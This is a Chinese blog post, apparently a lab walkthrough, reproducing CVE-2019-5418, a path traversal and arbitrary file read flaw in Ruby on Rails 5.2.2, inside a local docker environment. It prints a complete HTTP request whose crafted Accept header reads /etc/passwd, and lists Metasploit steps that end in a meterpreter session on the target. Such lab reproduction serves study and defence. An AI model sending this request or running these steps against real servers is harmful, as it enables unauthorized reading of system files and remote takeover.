Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)
在控制器中通过render file
形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{
头来构成构造路径穿越漏洞,读取任意文件。
参考链接:
- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
- https://xz.aliyun.com/t/4448
环境搭建
执行如下命令编译及启动Rail On Rails 5.2.2:
docker-compose build
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081943357-225556599.png)
环境启动后,访问http://your-ip:3000
即可看到Ruby on Rails的欢迎页面。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081943329-271924358.png)
漏洞复现
访问http://your-ip:3000/robots
可见,正常的robots.txt文件被读取出来。
利用漏洞,发送如下数据包,读取/etc/passwd
:
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081943333-63222269.png)
使用kali中的MSF进行漏洞利用
启动msfconsole
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081943418-1927090156.png)
search rails 查找rails相关模块
use 11 选择第11个模块
show options 展示配置选项
设置相关参数,RHOST,LHOST,直接run运行后成功拿到meterpreter,利用完成!
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081943336-777884124.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081943339-570971195.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081943484-929915973.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081943375-924989801.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16283217.html